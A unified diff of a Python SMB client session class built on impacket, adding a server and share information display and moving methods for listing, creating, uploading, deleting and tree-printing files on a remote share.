    -369        entries = self.smbClient.listPath(
    -370            shareName=self.smb_share, 
    -371            path=path
    -372        )
    -373        for entry in entries:
    -374            contents[entry.get_longname()] = entry
    -375
    -376        return contents
    -377
    -378    def list_shares(self):
    -379        """
    -380        Lists all the shares available on the connected SMB server.
    -381
    -382        This method queries the SMB server to retrieve a list of all available shares. It populates the `shares` dictionary
    -383        with key-value pairs where the key is the share name and the value is a dictionary containing details about the share
    -384        such as its name, type, raw type, and any comments associated with the share.
    -385
    -386        Returns:
    -387            dict: A dictionary containing information about each share available on the server.
    -388        """
    -389
    -390        self.available_shares = {}
    -391
    -392        if self.connected:
    -393            if self.smbClient is not None:
    -394                resp = self.smbClient.listShares()
    -395
    -396                for share in resp:
    -397                    # SHARE_INFO_1 structure (lmshare.h)
    -398                    # https://learn.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-share_info_1
    -399                    sharename = share["shi1_netname"][:-1]
    -400                    sharecomment = share["shi1_remark"][:-1]
    -401                    sharetype = share["shi1_type"]
    -402
    -403                    self.available_shares[sharename.lower()] = {
    -404                        "name": sharename, 
    -405                        "type": STYPE_MASK(sharetype), 
    -406                        "rawtype": sharetype, 
    -407                        "comment": sharecomment
    -408                    }
    -409            else:
    -410                print("[!] Error: SMBSession.smbClient is None.")
    +360        This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the `share` parameter is set to True and a share is currently set, it will also attempt to display information about the share.
    +361
    +362        Parameters:
    +363            share (bool): If True, display information about the current share.
    +364            server (bool): If True, display information about the server.
    +365
    +366        Returns:
    +367            None
    +368        """
    +369
    +370        if server:
    +371            if self.config.no_colors:
    +372                print("[+] Server:")
    +373                print("  ├─NetBIOS:")
    +374                print("  │ ├─ NetBIOS Hostname ──────── : %s" % (self.smbClient.getServerName()))
    +375                print("  │ └─ NetBIOS Domain ────────── : %s" % (self.smbClient.getServerDomain()))
    +376                print("  ├─DNS:")
    +377                print("  │ ├─ DNS Hostname ──────────── : %s" % (self.smbClient.getServerDNSHostName()))
    +378                print("  │ └─ DNS Domain ────────────── : %s" % (self.smbClient.getServerDNSDomainName()))
    +379                print("  ├─OS:")
    +380                print("  │ ├─ OS Name ───────────────── : %s" % (self.smbClient.getServerOS()))
    +381                print("  │ └─ OS Version ────────────── : %s.%s.%s" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    +382                print("  ├─Server:")
    +383                print("  │ ├─ Signing Required ──────── : %s" % (self.smbClient.isSigningRequired()))
    +384                print("  │ ├─ Login Required ────────── : %s" % (self.smbClient.isLoginRequired()))
    +385                print("  │ ├─ Supports NTLMv2 ───────── : %s" % (self.smbClient.doesSupportNTLMv2()))
    +386                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    +387                print("  │ ├─ Max size of read chunk ── : %d bytes (%s)" % (MaxReadSize, b_filesize(MaxReadSize)))
    +388                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    +389                print("  │ └─ Max size of write chunk ─ : %d bytes (%s)" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    +390                print("  └─")
    +391            else:
    +392                print("[+] Server:")
    +393                print("  ├─NetBIOS:")
    +394                print("  │ ├─ \x1b[94mNetBIOS Hostname\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerName()))
    +395                print("  │ └─ \x1b[94mNetBIOS Domain\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDomain()))
    +396                print("  ├─DNS:")
    +397                print("  │ ├─ \x1b[94mDNS Hostname\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSHostName()))
    +398                print("  │ └─ \x1b[94mDNS Domain\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerDNSDomainName()))
    +399                print("  ├─OS:")
    +400                print("  │ ├─ \x1b[94mOS Name\x1b[0m \x1b[90m─────────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.getServerOS()))
    +401                print("  │ └─ \x1b[94mOS Version\x1b[0m \x1b[90m──────────────\x1b[0m : \x1b[93m%s.%s.%s\x1b[0m" % (self.smbClient.getServerOSMajor(), self.smbClient.getServerOSMinor(), self.smbClient.getServerOSBuild()))
    +402                print("  ├─Server:")
    +403                print("  │ ├─ \x1b[94mSigning Required\x1b[0m \x1b[90m────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isSigningRequired()))
    +404                print("  │ ├─ \x1b[94mLogin Required\x1b[0m \x1b[90m──────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.isLoginRequired()))
    +405                print("  │ ├─ \x1b[94mSupports NTLMv2\x1b[0m \x1b[90m─────────\x1b[0m : \x1b[93m%s\x1b[0m" % (self.smbClient.doesSupportNTLMv2()))
    +406                MaxReadSize = self.smbClient.getIOCapabilities()["MaxReadSize"]
    +407                print("  │ ├─ \x1b[94mMax size of read chunk\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxReadSize, b_filesize(MaxReadSize)))
    +408                MaxWriteSize = self.smbClient.getIOCapabilities()["MaxWriteSize"]
    +409                print("  │ └─ \x1b[94mMax size of write chunk\x1b[0m \x1b[90m─\x1b[0m : \x1b[93m%d bytes (%s)\x1b[0m" % (MaxWriteSize, b_filesize(MaxWriteSize)))
    +410                print("  └─")
     411
    -412        return self.available_shares
    -413
    -414    def mkdir(self, path=None):
    -415        """
    -416        Creates a directory at the specified path on the SMB share.
    -417
    -418        This method takes a path and attempts to create the directory structure on the SMB share. If the path includes
    -419        nested directories, it will create each directory in the sequence. If a directory already exists, it will skip
    -420        the creation for that directory without raising an error.
    -421
    -422        Args:
    -423            path (str, optional): The full path of the directory to create on the SMB share. Defaults to None.
    -424
    -425        Note:
    -426            The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility.
    -427        """
    -428
    -429        if path is not None:
    -430            # Prepare path
    -431            path = path.replace('/',ntpath.sep)
    -432            if ntpath.sep in path:
    -433                path = path.strip(ntpath.sep).split(ntpath.sep)
    -434            else:
    -435                path = [path]
    -436
    -437            # Create each dir in the path
    -438            for depth in range(1, len(path)+1):
    -439                tmp_path = ntpath.sep.join(path[:depth])
    -440                try:
    -441                    self.smbClient.createDirectory(
    -442                        shareName=self.smb_share, 
    -443                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + tmp_path + ntpath.sep)
    -444                    )
    -445                except impacket.smbconnection.SessionError as err:
    -446                    if err.getErrorCode() == 0xc0000035:
    -447                        # STATUS_OBJECT_NAME_COLLISION
    -448                        # Remote directory already created, this is normal
    -449                        # Src: https://github.com/fortra/impacket/blob/269ce69872f0e8f2188a80addb0c39fedfa6dcb8/impacket/nt_errors.py#L268C9-L268C19
    -450                        pass
    -451                    else:
    -452                        print("[!] Failed to create directory '%s': %s" % (tmp_path, err))
    -453                        if self.config.debug:
    -454                            traceback.print_exc()
    -455        else:
    -456            pass
    -457
    -458    def path_exists(self, path=None):
    -459        """
    -460        Checks if the specified path exists on the SMB share.
    -461
    -462        This method determines if a given path exists on the SMB share by attempting to list the contents of the path.
    -463        If the path listing is successful and returns one or more entries, the path is considered to exist.
    +412        if share and self.smb_share is not None:
    +413            share_name = self.available_shares.get(self.smb_share.lower(), "")["name"]
    +414            share_comment = self.available_shares.get(self.smb_share.lower(), "")["comment"]
    +415            share_type = self.available_shares.get(self.smb_share.lower(), "")["type"]
    +416            share_type =', '.join([s.replace("STYPE_","") for s in share_type])
    +417            share_rawtype = self.available_shares.get(self.smb_share.lower(), "")["rawtype"]
    +418            if self.config.no_colors:
    +419                print("\n[+] Share:")
    +420                print("  ├─ Name ──────────── : %s" % (share_name))
    +421                print("  ├─ Description ───── : %s" % (share_comment))
    +422                print("  ├─ Type ──────────── : %s" % (share_type))
    +423                print("  └─ Raw type value ── : %s" % (share_rawtype))
    +424            else:
    +425                print("\n[+] Share:")
    +426                print("  ├─ \x1b[94mName\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_name))
    +427                print("  ├─ \x1b[94mDescription\x1b[0m \x1b[90m─────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_comment))
    +428                print("  ├─ \x1b[94mType\x1b[0m \x1b[90m────────────\x1b[0m : \x1b[93m%s\x1b[0m" % (share_type))
    +429                print("  └─ \x1b[94mRaw type value\x1b[0m \x1b[90m──\x1b[0m : \x1b[93m%s\x1b[0m" % (share_rawtype))
    +430
    +431    def list_contents(self, path=None):
    +432        """
    +433        Lists the contents of a specified directory on the SMB share.
    +434
    +435        This method retrieves the contents of a directory specified by `shareName` and `path`. If `shareName` or `path`
    +436        is not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with
    +437        the long names of the files and directories as keys and their respective SMB entry objects as values.
    +438
    +439        Args:
    +440            shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None.
    +441            path (str, optional): The directory path to list contents from. Defaults to the current path if None.
    +442
    +443        Returns:
    +444            dict: A dictionary with file and directory names as keys and their SMB entry objects as values.
    +445        """
    +446        
    +447        if path is None or len(path) == 0:
    +448            path = self.smb_cwd
    +449        path = path.rstrip(ntpath.sep) + ntpath.sep + "*"
    +450
    +451        contents = {}
    +452        entries = self.smbClient.listPath(
    +453            shareName=self.smb_share, 
    +454            path=path
    +455        )
    +456        for entry in entries:
    +457            contents[entry.get_longname()] = entry
    +458
    +459        return contents
    +460
    +461    def list_shares(self):
    +462        """
    +463        Lists all the shares available on the connected SMB server.
     464
    -465        Args:
    -466            path (str, optional): The path to check on the SMB share. Defaults to None.
    -467
    -468        Returns:
    -469            bool: True if the path exists, False otherwise or if an error occurs.
    -470        """
    -471
    -472        if path is not None:
    -473            path = path.replace('*','')
    -474            try:
    -475                contents = self.smbClient.listPath(
    -476                    shareName=self.smb_share,
    -477                    path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep)
    -478                )
    -479                return (len(contents) != 0)
    -480            except Exception as e:
    -481                return False
    -482        else:
    -483            return False
    -484   
    -485    def path_isdir(self, pathFromRoot=None):
    -486        """
    -487        Checks if the specified path is a directory on the SMB share.
    -488
    -489        This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the
    -490        contents of the path and filtering for entries that match the basename of the path and are marked as directories.
    -491
    -492        Args:
    -493            path (str, optional): The path to check on the SMB share. Defaults to None.
    +465        This method queries the SMB server to retrieve a list of all available shares. It populates the `shares` dictionary
    +466        with key-value pairs where the key is the share name and the value is a dictionary containing details about the share
    +467        such as its name, type, raw type, and any comments associated with the share.
    +468
    +469        Returns:
    +470            dict: A dictionary containing information about each share available on the server.
    +471        """
    +472
    +473        self.available_shares = {}
    +474
    +475        if self.connected:
    +476            if self.smbClient is not None:
    +477                resp = self.smbClient.listShares()
    +478
    +479                for share in resp:
    +480                    # SHARE_INFO_1 structure (lmshare.h)
    +481                    # https://learn.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-share_info_1
    +482                    sharename = share["shi1_netname"][:-1]
    +483                    sharecomment = share["shi1_remark"][:-1]
    +484                    sharetype = share["shi1_type"]
    +485
    +486                    self.available_shares[sharename.lower()] = {
    +487                        "name": sharename, 
    +488                        "type": STYPE_MASK(sharetype), 
    +489                        "rawtype": sharetype, 
    +490                        "comment": sharecomment
    +491                    }
    +492            else:
    +493                print("[!] Error: SMBSession.smbClient is None.")
     494
    -495        Returns:
    -496            bool: True if the path is a directory, False otherwise or if an error occurs.
    -497        """
    -498
    -499        if pathFromRoot is not None:
    -500            # Replace slashes if any
    -501            path = pathFromRoot.replace('/', ntpath.sep)
    -502            
    -503            # Strip wildcards to avoid injections
    -504            path = path.replace('*','')
    -505
    -506            # Normalize path and strip leading backslash
    -507            path = ntpath.normpath(path + ntpath.sep).lstrip(ntpath.sep)
    -508
    -509            if path.strip() in ['', '.', '..']:
    -510                # By defininition they exist on the filesystem
    -511                return True
    -512            else:
    -513                try:
    -514                    contents = self.smbClient.listPath(
    -515                        shareName=self.smb_share,
    -516                        path=path+'*'
    -517                    )
    -518                    # Filter on directories
    -519                    contents = [
    -520                        c for c in contents
    -521                        if c.get_longname() == ntpath.basename(path) and c.is_directory()
    -522                    ]
    -523                    return (len(contents) != 0)
    -524                except Exception as e:
    -525                    return False
    -526        else:
    -527            return False
    -528
    -529    def path_isfile(self, path=None):
    -530        """
    -531        Checks if the specified path is a file on the SMB share.
    -532
    -533        This method determines if a given path corresponds to a file on the SMB share. It does this by listing the
    -534        contents of the path and filtering for entries that match the basename of the path and are not marked as directories.
    -535
    -536        Args:
    -537            path (str, optional): The path to check on the SMB share. Defaults to None.
    -538
    -539        Returns:
    -540            bool: True if the path is a file, False otherwise or if an error occurs.
    -541        """
    -542
    -543        if path is not None:
    -544            path = path.replace('*','')
    -545            try:
    -546                contents = self.smbClient.listPath(
    -547                    shareName=self.smb_share,
    -548                    path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep)
    -549                )
    -550                # Filter on files
    -551                contents = [
    -552                    c for c in contents
    -553                    if c.get_longname() == ntpath.basename(path) and not c.is_directory()
    -554                ]
    -555                return (len(contents) != 0)
    -556            except Exception as e:
    -557                return False
    -558        else:
    -559            return False
    -560
    -561    def ping_smb_session(self):
    -562        """
    -563        Tests the connectivity to the SMB server by sending an echo command.
    -564
    -565        This method attempts to send an echo command to the SMB server to check if the session is still active.
    -566        It updates the `connected` attribute of the class based on the success or failure of the echo command.
    -567
    -568        Returns:
    -569            bool: True if the echo command succeeds (indicating the session is active), False otherwise.
    -570        """
    +495        return self.available_shares
    +496
    +497    def mkdir(self, path=None):
    +498        """
    +499        Creates a directory at the specified path on the SMB share.
    +500
    +501        This method takes a path and attempts to create the directory structure on the SMB share. If the path includes
    +502        nested directories, it will create each directory in the sequence. If a directory already exists, it will skip
    +503        the creation for that directory without raising an error.
    +504
    +505        Args:
    +506            path (str, optional): The full path of the directory to create on the SMB share. Defaults to None.
    +507
    +508        Note:
    +509            The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility.
    +510        """
    +511
    +512        if path is not None:
    +513            # Prepare path
    +514            path = path.replace('/',ntpath.sep)
    +515            if ntpath.sep in path:
    +516                path = path.strip(ntpath.sep).split(ntpath.sep)
    +517            else:
    +518                path = [path]
    +519
    +520            # Create each dir in the path
    +521            for depth in range(1, len(path)+1):
    +522                tmp_path = ntpath.sep.join(path[:depth])
    +523                try:
    +524                    self.smbClient.createDirectory(
    +525                        shareName=self.smb_share, 
    +526                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + tmp_path + ntpath.sep)
    +527                    )
    +528                except impacket.smbconnection.SessionError as err:
    +529                    if err.getErrorCode() == 0xc0000035:
    +530                        # STATUS_OBJECT_NAME_COLLISION
    +531                        # Remote directory already created, this is normal
    +532                        # Src: https://github.com/fortra/impacket/blob/269ce69872f0e8f2188a80addb0c39fedfa6dcb8/impacket/nt_errors.py#L268C9-L268C19
    +533                        pass
    +534                    else:
    +535                        print("[!] Failed to create directory '%s': %s" % (tmp_path, err))
    +536                        if self.config.debug:
    +537                            traceback.print_exc()
    +538        else:
    +539            pass
    +540
    +541    def path_exists(self, path=None):
    +542        """
    +543        Checks if the specified path exists on the SMB share.
    +544
    +545        This method determines if a given path exists on the SMB share by attempting to list the contents of the path.
    +546        If the path listing is successful and returns one or more entries, the path is considered to exist.
    +547
    +548        Args:
    +549            path (str, optional): The path to check on the SMB share. Defaults to None.
    +550
    +551        Returns:
    +552            bool: True if the path exists, False otherwise or if an error occurs.
    +553        """
    +554
    +555        if path is not None:
    +556            path = path.replace('*','')
    +557            try:
    +558                contents = self.smbClient.listPath(
    +559                    shareName=self.smb_share,
    +560                    path=ntpath.normpath(self.smb_cwd + ntpath.sep + path + ntpath.sep)
    +561                )
    +562                return (len(contents) != 0)
    +563            except Exception as e:
    +564                return False
    +565        else:
    +566            return False
    +567   
    +568    def path_isdir(self, pathFromRoot=None):
    +569        """
    +570        Checks if the specified path is a directory on the SMB share.
     571
    -572        try:
    -573            self.smbClient.getSMBServer().echo()
    -574            self.connected = True
    -575        except Exception as e:
    -576            self.connected = False
    -577        return self.connected
    -578
    -579    def put_file(self, localpath=None):
    -580        """
    -581        Uploads a single file to the SMB share.
    -582
    -583        This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path.
    -584        It handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session.
    -585        General exceptions are caught and logged, with a traceback provided if debugging is enabled.
    -586
    -587        Args:
    -588            localpath (str, optional): The local file path of the file to be uploaded. Defaults to None.
    -589        """
    -590
    -591        if os.path.exists(localpath):
    -592            if os.path.isfile(localpath):
    -593                try:
    -594                    localfile = os.path.basename(localpath)
    -595                    f = LocalFileIO(
    -596                        mode="rb", 
    -597                        path=localpath, 
    -598                        debug=self.config.debug
    -599                    )
    -600                    self.smbClient.putFile(
    -601                        shareName=self.smb_share, 
    -602                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + localfile + ntpath.sep), 
    -603                        callback=f.read
    -604                    )
    -605                    f.close()
    -606                except (BrokenPipeError, KeyboardInterrupt) as err:
    -607                    print("[!] Interrupted.")
    -608                    self.close_smb_session()
    -609                    self.init_smb_session()
    -610                except Exception as err:
    -611                    print("[!] Failed to upload '%s': %s" % (localfile, err))
    -612                    if self.config.debug:
    -613                        traceback.print_exc()
    -614            else:
    -615                print("[!] The specified localpath is a directory. Use 'put -r <directory>' instead.")
    -616        else:
    -617            print("[!] The specified localpath does not exist.")
    +572        This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the
    +573        contents of the path and filtering for entries that match the basename of the path and are marked as directories.
    +574
    +575        Args:
    +576            path (str, optional): The path to check on the SMB share. Defaults to None.
    +577
    +578        Returns:
    +579            bool: True if the path is a directory, False otherwise or if an error occurs.
    +580        """
    +581
    +582        if pathFromRoot is not None:
    +583            # Replace slashes if any
    +584            path = pathFromRoot.replace('/', ntpath.sep)
    +585            
    +586            # Strip wildcards to avoid injections
    +587            path = path.replace('*','')
    +588
    +589            # Normalize path and strip leading backslash
    +590            path = ntpath.normpath(path + ntpath.sep).lstrip(ntpath.sep)
    +591
    +592            if path.strip() in ['', '.', '..']:
    +593                # By defininition they exist on the filesystem
    +594                return True
    +595            else:
    +596                try:
    +597                    contents = self.smbClient.listPath(
    +598                        shareName=self.smb_share,
    +599                        path=path+'*'
    +600                    )
    +601                    # Filter on directories
    +602                    contents = [
    +603                        c for c in contents
    +604                        if c.get_longname() == ntpath.basename(path) and c.is_directory()
    +605                    ]
    +606                    return (len(contents) != 0)
    +607                except Exception as e:
    +608                    return False
    +609        else:
    +610            return False
    +611
    +612    def path_isfile(self, path=None):
    +613        """
    +614        Checks if the specified path is a file on the SMB share.
    +615
    +616        This method determines if a given path corresponds to a file on the SMB share. It does this by listing the
    +617        contents of the path and filtering for entries that match the basename of the path and are not marked as directories.
     618
    -619    def put_file_recursively(self, localpath=None):
    -620        """
    -621        Recursively uploads files from a specified local directory to the SMB share.
    -622
    -623        This method walks through the given local directory and all its subdirectories, uploading each file to the
    -624        corresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is,
    -625        it iterates over all files and directories within the local path, creating necessary directories on the SMB share
    -626        and uploading files. If the local path is not a directory, it prints an error message.
    -627
    -628        Args:
    -629            localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None.
    -630        """
    -631
    -632        if os.path.exists(localpath):
    -633            if os.path.isfile(localpath):
    -634                # Iterate over all files and directories within the local path
    -635                local_files = {}
    -636                for root, dirs, files in os.walk(localpath):
    -637                    if len(files) != 0:
    -638                        local_files[root] = files
    -639
    -640                # Iterate over the found files
    -641                for local_dir_path in sorted(local_files.keys()):
    -642                    print("[>] Putting files of '%s'" % local_dir_path)
    -643
    -644                    # Create remote directory
    -645                    remote_dir_path = local_dir_path.replace(os.path.sep, ntpath.sep)
    -646                    self.mkdir(
    -647                        path=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep)
    -648                    )
    +619        Args:
    +620            path (str, optional): The path to check on the SMB share. Defaults to None.
    +621
    +622        Returns:
    +623            bool: True if the path is a file, False otherwise or if an error occurs.
    +624        """
    +625
    +626        if path is not None:
    +627            path = path.replace('*','')
    +628            search_dir = ntpath.normpath(self.smb_cwd + ntpath.sep + path)
    +629            search_dir = ntpath.dirname(search_dir) + ntpath.sep + '*'
    +630            try:
    +631                contents = self.smbClient.listPath(
    +632                    shareName=self.smb_share,
    +633                    path=search_dir
    +634                )
    +635                # Filter on files
    +636                contents = [
    +637                    c for c in contents
    +638                    if c.get_longname() == ntpath.basename(path) and not c.is_directory()
    +639                ]
    +640                return (len(contents) != 0)
    +641            except Exception as e:
    +642                return False
    +643        else:
    +644            return False
    +645
    +646    def ping_smb_session(self):
    +647        """
    +648        Tests the connectivity to the SMB server by sending an echo command.
     649
    -650                    for local_file_path in local_files[local_dir_path]:
    -651                        try:
    -652                            f = LocalFileIO(
    -653                                mode="rb", 
    -654                                path=local_dir_path + os.path.sep + local_file_path, 
    -655                                debug=self.config.debug
    -656                            )
    -657                            self.smbClient.putFile(
    -658                                shareName=self.smb_share, 
    -659                                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep + local_file_path), 
    -660                                callback=f.read
    -661                            )
    -662                            f.close()
    -663
    -664                        except BrokenPipeError as err:
    -665                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    -666                            f.close(remove=True)
    -667                            break
    -668                        except Exception as err:
    -669                            f.set_error(message="[bold red]Failed uploading '%s': %s" % (f.path, err))
    -670                            f.close(remove=True)
    -671                else:
    -672                    print("[!] The specified localpath is a file. Use 'put <file>' instead.")
    -673        else:
    -674            print("[!] The specified localpath does not exist.")
    -675
    -676    def rmdir(self, path=None):
    -677        """
    -678        Removes a directory from the SMB share at the specified path.
    -679
    -680        This method attempts to delete a directory located at the given path on the SMB share. If the operation fails,
    -681        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    -682        the stack trace of the exception.
    -683
    -684        Args:
    -685            path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None.
    -686        """
    -687        try:
    -688            self.smbClient.deleteDirectory(
    -689                shareName=self.smb_share, 
    -690                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    -691            )
    -692        except Exception as err:
    -693            print("[!] Failed to remove directory '%s': %s" % (path, err))
    -694            if self.config.debug:
    -695                traceback.print_exc()
    -696
    -697    def rm(self, path=None):
    -698        """
    -699        Removes a file from the SMB share at the specified path.
    -700
    -701        This method attempts to delete a file located at the given path on the SMB share. If the operation fails,
    -702        it prints an error message indicating the failure and the reason. If debugging is enabled, it also prints
    -703        the stack trace of the exception.
    -704
    -705        Args:
    -706            path (str, optional): The path of the file to be removed on the SMB share. Defaults to None.
    -707        """
    -708        try:
    -709            self.smbClient.deleteFile(
    -710                shareName=self.smb_share, 
    -711                pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + path), 
    -712            )
    -713        except Exception as err:
    -714            print("[!] Failed to remove file '%s': %s" % (path, err))
    -715            if self.config.debug:
    -716                traceback.print_exc()
    -717
    -718    def tree(self, path=None):
    -719        """
    -720        Recursively lists the directory structure of the SMB share starting from the specified path.
    -721
    -722        This function prints a visual representation of the directory tree of the remote SMB share. It uses
    -723        recursion to navigate through directories and lists all files and subdirectories in each directory.
    -724        The output is color-coded and formatted to enhance readability, with directories highlighted in cyan.
    -725
    -726        Args:
    -727            path (str, optional): The starting path on the SMB share from which to begin listing the tree.
    -728                                  Defaults to the root of the current share.
    -729        """
    -730        
    -731        def recurse_action(base_dir="", path=[], prompt=[]):
    -732            bars = ["│   ", "├── ", "└── "]
    +650        This method attempts to send an echo command to the SMB server to check if the session is still active.
    +651        It updates the `connected` attribute of the class based on the success or failure of the echo command.
    +652
    +653        Returns:
    +654            bool: True if the echo command succeeds (indicating the session is active), False otherwise.
    +655        """
    +656
    +657        try:
    +658            self.smbClient.getSMBServer().echo()
    +659        except Exception as e:
    +660            self.connected = False
    +661        return self.connected
    +662
    +663    def put_file(self, localpath=None):
    +664        """
    +665        Uploads a single file to the SMB share.
    +666
    +667        This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path.
    +668        It handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session.
    +669        General exceptions are caught and logged, with a traceback provided if debugging is enabled.
    +670
    +671        Args:
    +672            localpath (str, optional): The local file path of the file to be uploaded. Defaults to None.
    +673        """
    +674
    +675        if os.path.exists(localpath):
    +676            if os.path.isfile(localpath):
    +677                try:
    +678                    localfile = os.path.basename(localpath)
    +679                    f = LocalFileIO(
    +680                        mode="rb", 
    +681                        path=localpath, 
    +682                        debug=self.config.debug
    +683                    )
    +684                    self.smbClient.putFile(
    +685                        shareName=self.smb_share, 
    +686                        pathName=ntpath.normpath(self.smb_cwd + ntpath.sep + localfile + ntpath.sep), 
    +687                        callback=f.read
    +688                    )
    +689                    f.close()
    +690                except (BrokenPipeError, KeyboardInterrupt) as err:
    +691                    print("[!] Interrupted.")
    +692                    self.close_smb_session()
    +693                    self.init_smb_session()
    +694                except Exception as err:
    +695                    print("[!] Failed to upload '%s': %s" % (localfile, err))
    +696                    if self.config.debug:
    +697                        traceback.print_exc()
    +698            else:
    +699                print("[!] The specified localpath is a directory. Use 'put -r <directory>' instead.")
    +700        else:
    +701            print("[!] The specified localpath does not exist.")
    +702
    +703    def put_file_recursively(self, localpath=None):
    +704        """
    +705        Recursively uploads files from a specified local directory to the SMB share.
    +706
    +707        This method walks through the given local directory and all its subdirectories, uploading each file to the
    +708        corresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is,
    +709        it iterates over all files and directories within the local path, creating necessary directories on the SMB share
    +710        and uploading files. If the local path is not a directory, it prints an error message.
    +711
    +712        Args:
    +713            localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None.
    +714        """
    +715
    +716        if os.path.exists(localpath):
    +717            if os.path.isfile(localpath):
    +718                # Iterate over all files and directories within the local path
    +719                local_files = {}
    +720                for root, dirs, files in os.walk(localpath):
    +721                    if len(files) != 0:
    +722                        local_files[root] = files
    +723
    +724                # Iterate over the found files
    +725                for local_dir_path in sorted(local_files.keys()):
    +726                    print("[>] Putting files of '%s'" % local_dir_path)
    +727
    +728                    # Create remote directory
    +729                    remote_dir_path = local_dir_path.replace(os.path.sep, ntpath.sep)
    +730                    self.mkdir(
    +731                        path=ntpath.normpath(self.smb_cwd + ntpath.sep + remote_dir_path + ntpath.sep)
    +732                    )
     733
    -734            remote_smb_path = ntpath.normpath(base_dir + ntpath.sep + ntpath.sep.join(path))
    -735
    -736            entries = []
    -737            try:
    -738                entries = self.smbClient.listPath(
    -739                    shareName=self.smb_share, 
    -740                    path=remote_smb_path+'\\*'
    -741                )
    -742            except impacket.smbconnection.SessionError as err:
    -743                code, const, text = err.getErrorCode(), err.getErrorString()[0], err.getErrorString()[1]
    -744                errmsg = "Error 0x%08x (%s): %s" % (code, const, text)
    -745                if self.config.no_colors:
    -746                    print("%s%s" % (''.join(prompt+[bars[2]]), errmsg))
    -747                else:
    -748                    print("%s\x1b[1;91m%s\x1b[0m" % (''.join(prompt+[bars[2]]), errmsg))
    -749                return 
    -750
    -751            entries = [e for e in entries if e.get_longname() not in [".", ".."]]
    -752            entries = sorted(entries, key=lambda x:x.get_longname())
    -753
    -754            # 
    -755            if len(entries) > 1:
    -756                index = 0
    -757                for entry in entries:
    -758                    index += 1
    -759                    # This is the first entry 
    -760                    if index == 0:
    -761                        if entry.is_directory():
    -762                            if self.config.no_colors:
    -763                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -764                            else:
    -765                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -766                            recurse_action(
    -767                                base_dir=base_dir, 
    -768                                path=path+[entry.get_longname()],
    -769                                prompt=prompt+["│   "]
    -770                            )
    -771                        else:
    -772                            if self.config.no_colors:
    -773                                print("%s%s" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -774                            else:
    -775                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -776
    -777                    # This is the last entry
    -778                    elif index == len(entries):
    -779                        if entry.is_directory():
    -780                            if self.config.no_colors:
    -781                                print("%s%s\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -782                            else:
    -783                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -784                            recurse_action(
    -785                                base_dir=base_dir, 
    -786                                path=path+[entry.get_longname()],
    -787                                prompt=prompt+["    "]
    -788                            )
    -789                        else:
    -790                            if self.config.no_colors:
    -791                                print("%s%s" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -792                            else:
    -793                                print("%s\x1b[1m%s\x1b[0m" % (''.join(prompt+[bars[2]]), entry.get_longname()))
    -794                        
    -795                    # These are entries in the middle
    -796                    else:
    -797                        if entry.is_directory():
    -798                            if self.config.no_colors:
    -799                                print("%s%s\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -800                            else:
    -801                                print("%s\x1b[1;96m%s\x1b[0m\\" % (''.join(prompt+[bars[1]]), entry.get_longname()))
    -802                            recurse_action(
    -803                                base_dir=base_dir, 
    -804                                path=path+[entry.get_longname()],
    -805                                prompt=prompt+["│   "]
    -806                            )
    -807                        else:
    -808                            if self.config.no_colors:
